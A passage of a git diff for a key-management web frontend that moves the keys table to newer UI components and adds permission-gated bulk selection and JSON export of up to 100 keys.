+          <Pagination
             count={totalCount}
             page={page}
             perPage={perPage}
@@ -228,7 +226,7 @@ export const SigningOperationsTable = ({ signerId, projectId }: Props) => {
             onChangePerPage={setPerPage}
           />
         )}
-      </UnstableCardContent>
-    </UnstableCard>
+      </CardContent>
+    </Card>
   );
 };
diff --git a/frontend/src/pages/kms/OverviewPage/components/CmekTable.tsx b/frontend/src/pages/kms/OverviewPage/components/CmekTable.tsx
index 1b8eec8297e..ecee0beb7a5 100644
--- a/frontend/src/pages/kms/OverviewPage/components/CmekTable.tsx
+++ b/frontend/src/pages/kms/OverviewPage/components/CmekTable.tsx
@@ -1,7 +1,5 @@
+import { useEffect, useState } from "react";
 import {
-  faArrowDown,
-  faArrowUp,
-  faArrowUpRightFromSquare,
   faCancel,
   faCheck,
   faCheckCircle,
@@ -10,41 +8,55 @@ import {
   faEdit,
   faEllipsis,
   faFileSignature,
-  faInfoCircle,
-  faKey,
   faLock,
   faLockOpen,
-  faMagnifyingGlass,
   faPlus,
   faTrash
 } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { motion } from "framer-motion";
+import { ChevronDownIcon, InfoIcon, SearchIcon } from "lucide-react";
+import { twMerge } from "tailwind-merge";
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
+import { Spinner } from "@app/components/v2";
 import {
+  Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Checkbox,
+  DocumentationLinkBadge,
   DropdownMenu,
   DropdownMenuContent,
   DropdownMenuItem,
   DropdownMenuTrigger,
-  EmptyState,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
   IconButton,
-  Input,
+  InputGroup,
+  InputGroupAddon,
+  InputGroupInput,
   Pagination,
-  Spinner,
+  Skeleton,
   Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Td,
-  Th,
-  THead,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+  TBadgeProps,
   Tooltip,
-  Tr
-} from "@app/components/v2";
-import { Badge, TBadgeProps } from "@app/components/v3";
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import {
   ProjectPermissionActions,
   ProjectPermissionCmekActions,
@@ -59,7 +71,11 @@ import {
   setUserTablePreference
 } from "@app/helpers/userTablePreferences";
 import { usePagination, usePopUp, useResetPageHelper, useTimedReset } from "@app/hooks";
-import { useGetCmeksByProjectId, useUpdateCmek } from "@app/hooks/api/cmeks";
+import {
+  useBulkExportCmekPrivateKeys,
+  useGetCmeksByProjectId,
+  useUpdateCmek
+} from "@app/hooks/api/cmeks";
 import {
   AsymmetricKeyAlgorithm,
   CmekOrderBy,
@@ -75,21 +91,15 @@ import { CmekModal } from "./CmekModal";
 import { CmekSignModal } from "./CmekSignModal";
 import { CmekVerifyModal } from "./CmekVerifyModal";
 import { DeleteCmekModal } from "./DeleteCmekModal";
+import { cmekKeysToExportJSON, downloadJSON } from "./jsonExport";
 
 const getStatusBadgeProps = (
   isDisabled: boolean
 ): { variant: TBadgeProps["variant"]; label: string } => {
   if (isDisabled) {
-    return {
-      variant: "danger",
-      label: "Disabled"
-    };
+    return { variant: "danger", label: "Disabled" };
   }
-
-  return {
-    variant: "success",
-    label: "Active"
-  };
+  return { variant: "success", label: "Active" };
 };
 
 export const CmekTable = () => {
@@ -130,11 +140,19 @@ export const CmekTable = () => {
   });
 
   const { keys = [], totalCount = 0 } = data ?? {};
-  useResetPageHelper({
-    totalCount,
-    offset,
-    setPage
-  });
+  useResetPageHelper({ totalCount, offset, setPage });
+
+  const [selectedKeyIds, setSelectedKeyIds] = useState<string[]>([]);
+
+  useEffect(() => {
+    setSelectedKeyIds([]);
+  }, [page]);
+
+  const selectableKeys = keys.filter((k) => !k.isDisabled);
+  const isPageSelected =
+    selectableKeys.length > 0 && selectableKeys.every((k) => selectedKeyIds.includes(k.id));
+  const isPageIndeterminate =
+    !isPageSelected && selectableKeys.some((k) => selectedKeyIds.includes(k.id));
 
   const [, isCopyingCiphertext, setCopyCipherText] = useTimedReset<string>({
     initialState: "",
@@ -158,55 +176,70 @@ export const CmekTable = () => {
   };
 
   const updateCmek = useUpdateCmek();
+  const bulkExportMutation = useBulkExportCmekPrivateKeys();
 
   const handleDisableCmek = async ({ id: keyId, isDisabled }: TCmek) => {
-    await updateCmek.mutateAsync({
-      keyId,
-      projectId,
-      isDisabled: !isDisabled
-    });
-
+    await updateCmek.mutateAsync({ keyId, projectId, isDisabled: !isDisabled });
+    if (!isDisabled) {
+      setSelectedKeyIds((prev) => prev.filter((id) => id !== keyId));
+    }
     createNotification({
       text: `Key successfully ${isDisabled ? "enabled" : "disabled"}`,
       type: "success"
     });
   };
 
+  const handleBulkExport = async () => {
+    if (selectedKeyIds.length > 100) {
+      createNotification({ text: "Cannot export more than 100 keys at once", type: "error" });
+      return;
+    }
+
+    const { keys: exportedKeys } = await bulkExportMutation.mutateAsync({
+      keyIds: selectedKeyIds
+    });
+
+    try {
+      const exportData = cmekKeysToExportJSON(exportedKeys);
+      downloadJSON(exportData, `kms-keys-export-${new Date().toISOString().slice(0, 10)}.json`);
+      setSelectedKeyIds([]);
+      createNotification({
+        text: `Successfully exported ${exportedKeys.length} key(s)`,
+        type: "success"
+      });
+    } catch {
+      createNotification({ text: "Failed to export keys", type: "error" });
+    }
+  };
+
   const cannotEditKey = permission.cannot(
     ProjectPermissionCmekActions.Edit,
     ProjectPermissionSub.Cmek
   );
-
   const cannotDeleteKey = permission.cannot(
     ProjectPermissionCmekActions.Delete,
     ProjectPermissionSub.Cmek
   );
-
   const cannotEncryptData = permission.cannot(
     ProjectPermissionCmekActions.Encrypt,
     ProjectPermissionSub.Cmek
   );
-
   const cannotDecryptData = permission.cannot(
     ProjectPermissionCmekActions.Decrypt,
     ProjectPermissionSub.Cmek
   );
-
   const cannotSignData = permission.cannot(
     ProjectPermissionCmekActions.Sign,
     ProjectPermissionSub.Cmek
   );
-
   const cannotVerifyData = permission.cannot(
     ProjectPermissionCmekActions.Verify,
     ProjectPermissionSub.Cmek
   );
-
   const cannotExportPrivateKey = permission.cannot(
     ProjectPermissionCmekActions.ExportPrivateKey,
     ProjectPermissionSub.Cmek
   );
-
   const cannotReadKey = permission.cannot(
     ProjectPermissionCmekActions.Read,
     ProjectPermissionSub.Cmek
@@ -220,397 +253,415 @@ export const CmekTable = () => {
       animate={{ opacity: 1, translateX: 0 }}
       exit={{ opacity: 0, translateX: 30 }}
     >
-      <div className="mb-6 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-        <div className="mb-4 flex items-center justify-between">
-          <p className="text-xl font-medium whitespace-nowrap text-mineshaft-100">Keys</p>
-          <div className="flex w-full justify-end pr-4">
-            <a
-              target="_blank"
-              rel="noopener noreferrer"
-              href="https://infisical.com/docs/documentation/platform/kms"
-            >
-              <span className="flex w-max cursor-pointer items-center rounded-md border border-mineshaft-500 bg-mineshaft-600 px-4 py-2 text-mineshaft-200 duration-200 hover:border-primary/40 hover:bg-primary/10 hover:text-white">
-                Documentation{" "}
-                <FontAwesomeIcon
-                  icon={faArrowUpRightFromSquare}
-                  className="mb-[0.06rem] ml-1 text-xs"
-                />
-              </span>
-            </a>
-          </div>
-          <ProjectPermissionCan I={ProjectPermissionActions.Create} a={ProjectPermissionSub.Cmek}>
+      <div
+        className={twMerge(
+          "mb-2 h-0 shrink-0 overflow-hidden transition-all",
+          selectedKeyIds.length > 0 && "h-16"
+        )}
+      >
+        <div className="mt-3.5 flex items-center rounded-md border border-border bg-card p-2 pl-4 text-foreground">
+          <div className="mr-2 text-sm">{selectedKeyIds.length} Selected</div>
+          <button
+            type="button"
+            className="mt-0.5 mr-auto text-xs text-accent underline-offset-2 hover:underline"
+            onClick={() => setSelectedKeyIds([])}
+          >
+            Unselect All
+          </button>
+          <ProjectPermissionCan
+            I={ProjectPermissionCmekActions.ExportPrivateKey}
+            a={ProjectPermissionSub.Cmek}
+            renderTooltip
+          >
             {(isAllowed) => (
-              <Button
-                colorSchema="primary"
-                type="submit"
-                leftIcon={<FontAwesomeIcon icon={faPlus} />}
-                onClick={() => handlePopUpOpen("upsertKey", null)}
-                isDisabled={!isAllowed}
-              >
-                Add Key
-              </Button>
+              <Tooltip>
+                <TooltipTrigger asChild>
+                  <span className="ml-2">
+                    <Button
+                      variant="project"
+                      size="xs"
+                      onClick={handleBulkExport}
+                      isDisabled={!isAllowed}
+                      isPending={bulkExportMutation.isPending}
+                    >
+                      <FontAwesomeIcon icon={faDownload} className="mr-1" />
+                      Export
+                    </Button>
+                  </span>
+                </TooltipTrigger>
+                <TooltipContent>
+                  {isAllowed
+                    ? "Export all selected keys as a JSON file"
+                    : "You don't have permission to export keys"}
+                </TooltipContent>
+              </Tooltip>
             )}
           </ProjectPermissionCan>
         </div>
-        <Input
-          containerClassName="mb-4"
-          value={search}
-          onChange={(e) => setSearch(e.target.value)}
-          leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
-          placeholder="Search keys by name..."
-        />
-        <TableContainer>
-          <Table>
-            <THead>
-              <Tr className="h-14">
-                <Th>
-                  <div className="flex items-center">
-                    Name
-                    <IconButton
-                      variant="plain"
-                      className="ml-2"
-                      ariaLabel="sort"
-                      onClick={handleSort}
-                    >
-                      <FontAwesomeIcon
-                        icon={orderDirection === OrderByDirection.DESC ? faArrowUp : faArrowDown}
-                      />
-                    </IconButton>
-                  </div>
-                </Th>
-                <Th>Key ID</Th>
-                <Th>Key Usage</Th>
-                <Th>Algorithm</Th>
-                <Th>Status</Th>
-                <Th>Version</Th>
-                <Th className="w-16">{isFetching ? <Spinner size="xs" /> : null}</Th>
-              </Tr>
-            </THead>
-            <TBody>
-              {isPending && <TableSkeleton columns={5} innerKey="project-keys" />}
-              {!isPending &&
-                keys.length > 0 &&
-                keys.map((cmek) => {
-                  const {
-                    name,
-                    id,
-                    version,
-                    description,
-                    encryptionAlgorithm,
-                    isDisabled,
-                    keyUsage
-                  } = cmek;
-                  const { variant, label } = getStatusBadgeProps(isDisabled);
+      </div>
 
-                  return (
-                    <Tr
-                      className="group h-10 hover:bg-mineshaft-700"
-                      key={`st-v3-${id}`}
-                      onMouseLeave={() => {
-                        setCopyCipherText("");
-                      }}
-                    >
-                      <Td>
-                        <div className="flex items-center gap-2">
-                          {name}
-                          {description && (
-                            <Tooltip content={description}>
-                              <FontAwesomeIcon icon={faInfoCircle} className="text-mineshaft-400" />
-                            </Tooltip>
-                          )}
-                        </div>
-                      </Td>
-                      <Td>
-                        <div>
-                          <span> {id}</span>
-                          <IconButton
-                            ariaLabel="copy icon"
-                            colorSchema="secondary"
-                            size="xs"
-                            className="group/copy duration:0 invisible relative ml-3 rounded-md group-hover:visible"
-                            onClick={() => {
-                              navigator.clipboard.writeText(id);
-                              setCopyCipherText("Copied");
-                            }}
-                          >
-                            <FontAwesomeIcon icon={isCopyingCiphertext ? faCheck : faCopy} />
-                          </IconButton>
-                        </div>
-                      </Td>
-                      <Td>
-                        <div className="flex items-center gap-2">
-                          {kmsKeyUsageOptions[keyUsage].label}
-                          <Tooltip content={kmsKeyUsageOptions[keyUsage].tooltip}>
-                            <FontAwesomeIcon icon={faInfoCircle} className="text-mineshaft-400" />
-                          </Tooltip>
-                        </div>
-                      </Td>
-                      <Td className="uppercase">{encryptionAlgorithm}</Td>
-                      <Td>
-                        <Badge variant={variant}>{label}</Badge>
-                      </Td>
-                      <Td>{version}</Td>
-                      <Td>
-                        <div className="flex justify-end">
-                          <DropdownMenu>
-                            <DropdownMenuTrigger asChild>
-                              <IconButton
-                                variant="plain"
-                                colorSchema="primary"
-                                className="ml-4 p-0 data-[state=open]:text-primary-400"
-                                ariaLabel="More options"
-                              >
-                                <FontAwesomeIcon size="lg" icon={faEllipsis} />
-                              </IconButton>
-                            </DropdownMenuTrigger>
-                            <DropdownMenuContent className="min-w-[160px]">
-                              {keyUsage === KmsKeyUsage.ENCRYPT_DECRYPT && (
-                                <>
-                                  <Tooltip
-                                    content={
-                                      // eslint-disable-next-line no-nested-ternary
-                                      cannotEncryptData
-                                        ? "Access Restricted"
-                                        : isDisabled
-                                          ? "Key Disabled"
-                                          : ""
-                                    }
-                                    position="left"
-                                  >
-                                    <div>
-                                      <DropdownMenuItem
-                                        onClick={() => handlePopUpOpen("encryptData", cmek)}
-                                        icon={<FontAwesomeIcon icon={faLock} />}
-                                        iconPos="left"
-                                        isDisabled={cannotEncryptData || isDisabled}
-                                      >
-                                        Encrypt Data
-                                      </DropdownMenuItem>
-                                    </div>
-                                  </Tooltip>
-                                  <Tooltip
-                                    content={
-                                      // eslint-disable-next-line no-nested-ternary
-                                      cannotDecryptData
-                                        ? "Access Restricted"
-                                        : isDisabled
-                                          ? "Key Disabled"
-                                          : ""
-                                    }
-                                    position="left"
-                                  >
-                                    <div>
-                                      <DropdownMenuItem
-                                        onClick={() => handlePopUpOpen("decryptData", cmek)}
-                                        icon={<FontAwesomeIcon icon={faLockOpen} />}
-                                        iconPos="left"
-                                        isDisabled={cannotDecryptData || isDisabled}
-                                      >
-                                        Decrypt Data
-                                      </DropdownMenuItem>
-                                    </div>
-                                  </Tooltip>
-                                </>
-                              )}
+      <Card>
+        <CardHeader>
+          <CardTitle>
+            Keys
+            <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/kms" />
+          </CardTitle>
+          <CardDescription>Manage keys and perform cryptographic operations.</CardDescription>
+          <CardAction>
+            <ProjectPermissionCan I={ProjectPermissionActions.Create} a={ProjectPermissionSub.Cmek}>
+              {(isAllowed) => (
+                <Button
+                  variant="project"
+                  onClick={() => handlePopUpOpen("upsertKey", null)}
+                  isDisabled={!isAllowed}
+                >
+                  <FontAwesomeIcon icon={faPlus} className="mr-2" />
+                  Add Key
+                </Button>
+              )}
+            </ProjectPermissionCan>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
+          <div className="mb-4 flex items-center gap-2">
+            <InputGroup className="flex-1">
+              <InputGroupAddon>
+                <SearchIcon />
+              </InputGroupAddon>
+              <InputGroupInput
+                value={search}
+                onChange={(e) => {
+                  setSearch(e.target.value);
+                }}
+                placeholder="Search keys by name or ID..."
+              />
+            </InputGroup>
+            {isFetching && <Spinner size="xs" />}
+          </div>
 
-                              {keyUsage === KmsKeyUsage.SIGN_VERIFY && (
-                                <>
-                                  <Tooltip
-                                    content={
-                                      // eslint-disable-next-line no-nested-ternary
-                                      cannotSignData
-                                        ? "Access Restricted"
-                                        : isDisabled
-                                          ? "Key Disabled"
-                                          : ""
-                                    }
-                                    position="left"
-                                  >
-                                    <div>
-                                      <DropdownMenuItem
-                                        onClick={() => handlePopUpOpen("signData", cmek)}
-                                        icon={<FontAwesomeIcon icon={faFileSignature} />}
-                                        iconPos="left"
-                                        isDisabled={cannotSignData || isDisabled}
-                                      >
-                                        Sign Data
-                                      </DropdownMenuItem>
-                                    </div>
-                                  </Tooltip>
-                                  <Tooltip
-                                    content={
-                                      // eslint-disable-next-line no-nested-ternary
-                                      cannotVerifyData
-                                        ? "Access Restricted"
-                                        : isDisabled
-                                          ? "Key Disabled"
-                                          : ""
-                                    }
-                                    position="left"
-                                  >
-                                    <div>
-                                      <DropdownMenuItem
-                                        onClick={() => handlePopUpOpen("verifyData", cmek)}
-                                        icon={<FontAwesomeIcon icon={faCheckCircle} />}
-                                        iconPos="left"
-                                        isDisabled={cannotVerifyData || isDisabled}
-                                      >
-                                        Verify Data
-                                      </DropdownMenuItem>
-                                    </div>
-                                  </Tooltip>
-                                </>
-                              )}
+          {!isPending && keys.length === 0 ? (
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>
+                  {debouncedSearch.trim().length > 0
+                    ? "No keys match search filter"
+                    : "No keys have been added to this project"}
+                </EmptyTitle>
+                <EmptyDescription>
+                  {debouncedSearch.trim().length > 0
+                    ? "Try a different search term."
+                    : "Add a key to get started."}
+                </EmptyDescription>
+              </EmptyHeader>
+            </Empty>
+          ) : (
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead className="w-5">
+                    <Checkbox
+                      id="cmek-page-select"
+                      isChecked={isPageSelected || isPageIndeterminate}
+                      isIndeterminate={isPageIndeterminate}
+                      isDisabled={selectableKeys.length === 0}
+                      variant="project"
+                      onCheckedChange={() => {
+                        if (isPageSelected) {
+                          setSelectedKeyIds((prev) =>
+                            prev.filter((id) => !selectableKeys.find((k) => k.id === id))
+                          );
+                        } else {
+                          setSelectedKeyIds((prev) => {
+                            const merged = [
+                              ...new Set([...prev, ...selectableKeys.map((k) => k.id)])
+                            ];
+                            return merged.slice(0, 100);
+                          });
+                        }
+                      }}
+                    />
+                  </TableHead>
+                  <TableHead onClick={handleSort} className="cursor-pointer">
+                    Name
+                    <ChevronDownIcon
+                      className={twMerge(
+                        "ml-1 inline-block size-4 transition-transform",
+                        orderDirection === OrderByDirection.DESC && "rotate-180"
+                      )}
+                    />
+                  </TableHead>
+                  <TableHead>Key ID</TableHead>
+                  <TableHead>Key Usage</TableHead>
+                  <TableHead>Algorithm</TableHead>
+                  <TableHead>Status</TableHead>
+                  <TableHead>Version</TableHead>
+                  <TableHead className="w-12" />
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {isPending &&
+                  Array.from({ length: 5 }).map((_, i) => (
+                    // eslint-disable-next-line react/no-array-index-key
+                    <TableRow key={`skeleton-${i}`}>
+                      {Array.from({ length: 8 }).map((__, j) => (
+                        // eslint-disable-next-line react/no-array-index-key
+                        <TableCell key={j}>
+                          <Skeleton className="h-4 w-full" />
+                        </TableCell>
+                      ))}
+                    </TableRow>
+                  ))}
+                {!isPending &&
+                  keys.map((cmek) => {
+                    const {
+                      name,
+                      id,
+                      version,
+                      description,
+                      encryptionAlgorithm,
+                      isDisabled,
+                      keyUsage
+                    } = cmek;
+                    const { variant, label } = getStatusBadgeProps(isDisabled);
+                    const isSelected = selectedKeyIds.includes(id);
 
-                              {(() => {
-                                // For asymmetric keys, user can export if they have Read OR ExportPrivateKey permission
-                                // For symmetric keys, user needs ExportPrivateKey permission
-                                const isAsymmetricKey = Object.values(
-                                  AsymmetricKeyAlgorithm
-                                ).includes(encryptionAlgorithm as AsymmetricKeyAlgorithm);
-                                const cannotExportKey = isAsymmetricKey
-                                  ? cannotExportPrivateKey && cannotReadKey
-                                  : cannotExportPrivateKey;
+                    const isAsymmetricKey = Object.values(AsymmetricKeyAlgorithm).includes(
+                      encryptionAlgorithm as AsymmetricKeyAlgorithm
+                    );
+                    const cannotExportKey = isAsymmetricKey
+                      ? cannotExportPrivateKey && cannotReadKey
+                      : cannotExportPrivateKey;
 
-                                return (
-                                  <Tooltip
-                                    content={
-                                      // eslint-disable-next-line no-nested-ternary
-                                      cannotExportKey
-                                        ? "Access Restricted"
-                                        : isDisabled
-                                          ? "Key Disabled"
-                                          : ""
-                                    }
-                                    position="left"
-                                  >
-                                    <div>
-                                      <DropdownMenuItem
-                                        onClick={() => handlePopUpOpen("exportKey", cmek)}
-                                        icon={<FontAwesomeIcon icon={faDownload} />}
-                                        iconPos="left"
-                                        isDisabled={cannotExportKey || isDisabled}
-                                      >
-                                        Export Key
-                                      </DropdownMenuItem>
-                                    </div>
-                                  </Tooltip>
+                    return (
+                      <TableRow
+                        key={`cmek-${id}`}
+                        className="group"
+                        data-state={isSelected ? "selected" : undefined}
+                        onMouseLeave={() => setCopyCipherText("")}
+                      >
+                        <TableCell>
+                          {isDisabled ? (
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <span className="inline-flex">
+                                  <Checkbox
+                                    id={`select-cmek-${id}`}
+                                    isChecked={false}
+                                    isDisabled
+                                    variant="project"
+                                  />
+                                </span>
+                              </TooltipTrigger>
+                              <TooltipContent>Disabled keys cannot be exported</TooltipContent>
+                            </Tooltip>
+                          ) : (
+                            <Checkbox
+                              id={`select-cmek-${id}`}
+                              isChecked={isSelected}
+                              variant="project"
+                              onClick={(e) => {
+                                e.stopPropagation();
+                                if (!isSelected && selectedKeyIds.length >= 100) {
+                                  createNotification({
+                                    text: "Cannot select more than 100 keys at once",
+                                    type: "error"
+                                  });
+                                  return;
+                                }
+                                setSelectedKeyIds((prev) =>
+                                  isSelected ? prev.filter((k) => k !== id) : [...prev, id]
                                 );
-                              })()}
-                              <Tooltip
-                                content={cannotEditKey ? "Access Restricted" : ""}
-                                position="left"
-                              >
-                                <div>
-                                  <DropdownMenuItem
-                                    onClick={() => handlePopUpOpen("upsertKey", cmek)}
-                                    icon={<FontAwesomeIcon icon={faEdit} />}
-                                    iconPos="left"
-                                    isDisabled={cannotEditKey}
-                                  >
-                                    Edit Key
-                                  </DropdownMenuItem>
-                                </div>
-                              </Tooltip>
-                              <Tooltip
-                                content={cannotEditKey ? "Access Restricted" : ""}
-                                position="left"
-                              >
-                                <div>
-                                  <DropdownMenuItem
-                                    onClick={() => handleDisableCmek(cmek)}
-                                    icon={
-                                      <FontAwesomeIcon
-                                        icon={isDisabled ? faCheckCircle : faCancel}
-                                      />
-                                    }
-                                    iconPos="left"
-                                    isDisabled={cannotEditKey}
-                                  >
-                                    {isDisabled ? "Enable" : "Disable"} Key
-                                  </DropdownMenuItem>
-                                </div>
-                              </Tooltip>
-                              <Tooltip
-                                content={cannotDeleteKey ? "Access Restricted" : ""}
-                                position="left"
-                              >
-                                <div>
-                                  <DropdownMenuItem
-                                    onClick={() => handlePopUpOpen("deleteKey", cmek)}
-                                    icon={<FontAwesomeIcon icon={faTrash} />}
-                                    iconPos="left"
-                                    isDisabled={cannotDeleteKey}
-                                  >
-                                    Delete Key
-                                  </DropdownMenuItem>
-                                </div>
+                              }}
+                            />
+                          )}
+                        </TableCell>
+                        <TableCell>
+                          <div className="flex items-center gap-2">
+                            {name}
+                            {description && (
+                              <Tooltip>
+                                <TooltipTrigger asChild>
+                                  <InfoIcon className="size-3.5 text-muted opacity-0 transition-all group-hover:opacity-100" />
+                                </TooltipTrigger>
+                                <TooltipContent>{description}</TooltipContent>
                               </Tooltip>
-                            </DropdownMenuContent>
-                          </DropdownMenu>
-                        </div>
-                      </Td>
-                    </Tr>
-                  );
-                })}
-            </TBody>
-          </Table>
+                            )}
+                          </div>
+                        </TableCell>
+                        <TableCell>
+                          <div className="flex items-center">
+                            <span className="font-mono text-xs">{id}</span>
+                            <IconButton
+                              aria-label="copy key id"
+                              variant="ghost"
+                              size="xs"
+                              className="invisible ml-2 group-hover:visible"
+                              onClick={() => {
+                                navigator.clipboard.writeText(id);
+                                setCopyCipherText("Copied");
+                              }}
+                            >
+                              <FontAwesomeIcon icon={isCopyingCiphertext ? faCheck : faCopy} />
+                            </IconButton>
+                          </div>
+                        </TableCell>
+                        <TableCell>
+                          <div className="flex items-center gap-2">
+                            {kmsKeyUsageOptions[keyUsage].label}
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <InfoIcon className="size-3.5 text-muted opacity-0 transition-all group-hover:opacity-100" />
+                              </TooltipTrigger>
+                              <TooltipContent>
+                                {kmsKeyUsageOptions[keyUsage].tooltip}
+                              </TooltipContent>
+                            </Tooltip>
+                          </div>
+                        </TableCell>
+                        <TableCell className="uppercase">{encryptionAlgorithm}</TableCell>
+                        <TableCell>
+                          <Badge variant={variant}>{label}</Badge>
+                        </TableCell>
+                        <TableCell>{version}</TableCell>
+                        <TableCell>
+                          <div className="flex justify-end">
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton variant="ghost" size="sm" aria-label="More options">
+                                  <FontAwesomeIcon icon={faEllipsis} />
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent align="end" className="min-w-[160px]">
+                                {keyUsage === KmsKeyUsage.ENCRYPT_DECRYPT && (
+                                  <>
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("encryptData", cmek)}
+                                      isDisabled={cannotEncryptData || isDisabled}
+                                    >
+                                      <FontAwesomeIcon icon={faLock} className="mr-2" />
+                                      Encrypt Data
+                                    </DropdownMenuItem>
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("decryptData", cmek)}
+                                      isDisabled={cannotDecryptData || isDisabled}
+                                    >
+                                      <FontAwesomeIcon icon={faLockOpen} className="mr-2" />
+                                      Decrypt Data
+                                    </DropdownMenuItem>
+                                  </>
+                                )}
+                                {keyUsage === KmsKeyUsage.SIGN_VERIFY && (
+                                  <>
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("signData", cmek)}
+                                      isDisabled={cannotSignData || isDisabled}
+                                    >
+                                      <FontAwesomeIcon icon={faFileSignature} className="mr-2" />
+                                      Sign Data
+                                    </DropdownMenuItem>
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("verifyData", cmek)}
+                                      isDisabled={cannotVerifyData || isDisabled}
+                                    >
+                                      <FontAwesomeIcon icon={faCheckCircle} className="mr-2" />
+                                      Verify Data
+                                    </DropdownMenuItem>
+                                  </>
+                                )}
+                                <DropdownMenuItem
+                                  onClick={() => handlePopUpOpen("exportKey", cmek)}
+                                  isDisabled={cannotExportKey || isDisabled}
+                                >
+                                  <FontAwesomeIcon icon={faDownload} className="mr-2" />
+                                  Export Key
+                                </DropdownMenuItem>
+                                <DropdownMenuItem
+                                  onClick={() => handlePopUpOpen("upsertKey", cmek)}
+                                  isDisabled={cannotEditKey}
+                                >
+                                  <FontAwesomeIcon icon={faEdit} className="mr-2" />
+                                  Edit Key
+                                </DropdownMenuItem>
+                                <DropdownMenuItem
+                                  onClick={() => handleDisableCmek(cmek)}
+                                  isDisabled={cannotEditKey}
+                                >
+                                  <FontAwesomeIcon
+                                    icon={isDisabled ? faCheckCircle : faCancel}
+                                    className="mr-2"
+                                  />
+                                  {isDisabled ? "Enable" : "Disable"} Key
+                                </DropdownMenuItem>
+                                <DropdownMenuItem
+                                  onClick={() => handlePopUpOpen("deleteKey", cmek)}
+                                  isDisabled={cannotDeleteKey}
+                                  variant="danger"
+                                >
+                                  <FontAwesomeIcon icon={faTrash} className="mr-2" />
+                                  Delete Key
+                                </DropdownMenuItem>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
+                          </div>
+                        </TableCell>
+                      </TableRow>
+                    );
+                  })}
+              </TableBody>
+            </Table>
+          )}
+
           {!isPending && totalCount > 0 && (
             <Pagination
+              className="mt-4"
               count={totalCount}
               page={page}
               perPage={perPage}
-              onChangePage={(newPage) => setPage(newPage)}
+              onChangePage={setPage}
               onChangePerPage={handlePerPageChange}
             />
           )}
-          {!isPending && keys.length === 0 && (
-            <EmptyState
-              title={
-                debouncedSearch.trim().length > 0
-                  ? "No keys match search filter"
-                  : "No keys have been added to this project"
-              }
-              icon={faKey}
-            />
-          )}
-        </TableContainer>
-        <DeleteCmekModal
-          isOpen={popUp.deleteKey.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("deleteKey", isOpen)}
-          cmek={popUp.deleteKey.data as TCmek}
-        />
-        <CmekModal
-          isOpen={popUp.upsertKey.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("upsertKey", isOpen)}
-          cmek={popUp.upsertKey.data as TCmek | null}
-        />
-        <CmekEncryptModal
-          isOpen={popUp.encryptData.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("encryptData", isOpen)}
-          cmek={popUp.encryptData.data as TCmek}
-        />
-        <CmekDecryptModal
-          isOpen={popUp.decryptData.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("decryptData", isOpen)}
-          cmek={popUp.decryptData.data as TCmek}
-        />
-        <CmekSignModal
-          isOpen={popUp.signData.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("signData", isOpen)}
-          cmek={popUp.signData.data as TCmek}
-        />
-        <CmekVerifyModal
-          isOpen={popUp.verifyData.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("verifyData", isOpen)}
-          cmek={popUp.verifyData.data as TCmek}
-        />
-        <CmekExportKeyModal
-          isOpen={popUp.exportKey.isOpen}
-          onOpenChange={(isOpen) => handlePopUpToggle("exportKey", isOpen)}
-          cmek={popUp.exportKey.data as TCmek}
-        />
-      </div>
+        </CardContent>
+      </Card>
+
+      <DeleteCmekModal
+        isOpen={popUp.deleteKey.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("deleteKey", isOpen)}
+        cmek={popUp.deleteKey.data as TCmek}
+        onDeleted={(deletedKeyId) =>
+          setSelectedKeyIds((prev) => prev.filter((id) => id !== deletedKeyId))
+        }
+      />
+      <CmekModal
+        isOpen={popUp.upsertKey.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("upsertKey", isOpen)}
+        cmek={popUp.upsertKey.data as TCmek | null}
+      />
+      <CmekEncryptModal
+        isOpen={popUp.encryptData.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("encryptData", isOpen)}
+        cmek={popUp.encryptData.data as TCmek}
+      />
+      <CmekDecryptModal
+        isOpen={popUp.decryptData.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("decryptData", isOpen)}
+        cmek={popUp.decryptData.data as TCmek}
+      />
+      <CmekSignModal
+        isOpen={popUp.signData.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("signData", isOpen)}
+        cmek={popUp.signData.data as TCmek}
+      />
+      <CmekVerifyModal
+        isOpen={popUp.verifyData.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("verifyData", isOpen)}
+        cmek={popUp.verifyData.data as TCmek}
+      />
+      <CmekExportKeyModal
+        isOpen={popUp.exportKey.isOpen}
+        onOpenChange={(isOpen) => handlePopUpToggle("exportKey", isOpen)}
